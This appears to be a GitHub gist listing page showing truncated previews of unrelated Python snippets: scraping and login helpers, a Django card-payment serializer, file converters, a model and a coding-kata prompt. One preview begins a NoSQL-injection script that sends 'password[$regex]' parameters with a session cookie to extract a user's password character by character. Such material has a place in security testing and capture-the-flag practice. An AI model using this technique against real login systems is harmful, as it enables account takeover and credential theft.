This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
from bs4 import BeautifulSoup | |
import time | |
def create_session(): | |
"""Create a new session and retrieve CSRF token.""" | |
session = requests.Session() | |
login_url = "https://clients.ahost.uz/login.php" | |
login_page = session.get(login_url) | |
soup = BeautifulSoup(login_page.text, "html.parser") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
selenium==4.10.0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from rest_framework import serializers | |
class CardPaymentSerializer(serializers.Serializer): | |
card_number = serializers.CharField(max_length=20) | |
exp_month = serializers.IntegerField() | |
exp_year = serializers.IntegerField() | |
cvc = serializers.IntegerField() | |
amount = serializers.IntegerField() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
with open("requirements.txt") as myFile: | |
pkgs = myFile.read() | |
pkgs = pkgs.splitlines() | |
with open("result.txt", "w") as result: | |
for pkg in pkgs: | |
pkg = pkg.split('==')[0] | |
result.write(pkg + "\n") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import string | |
url = "http://example.com" | |
headers = {"Host": "exmaple.com"} | |
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"} | |
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ] | |
def get_password(username): | |
print("Extracting password of "+username) | |
params = {"username":username, "password[$regex]":"", "login": "login"} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class make_double(str): # makes double quote | |
def __repr__(self): | |
return ''.join(('"', super().__repr__()[1:-1], '"')) | |
def csv_to_json(csvFile, jsonFile): | |
with open(csvFile, "r") as f: | |
first_line = f.readline().rstrip().split(",") | |
with open(jsonFile, "w", encoding='utf-8') as w: | |
s = [] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from django.db import models | |
class Post(models.Model): | |
title = models.CharField(max_length=200) | |
content = models.TextField(max_length=200, unique=True) | |
def __str__(self): | |
return self.title |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
Given an array (arr) as an argument complete the function countSmileys that should return the total number of smiling faces. | |
Rules for a smiling face: | |
Each smiley face must contain a valid pair of eyes. Eyes can be marked as : or ; | |
A smiley face can have a nose but it does not have to. Valid characters for a nose are - or ~ | |
Every smiling face must have a smiling mouth that should be marked with either ) or D | |
No additional characters are allowed except for those mentioned. |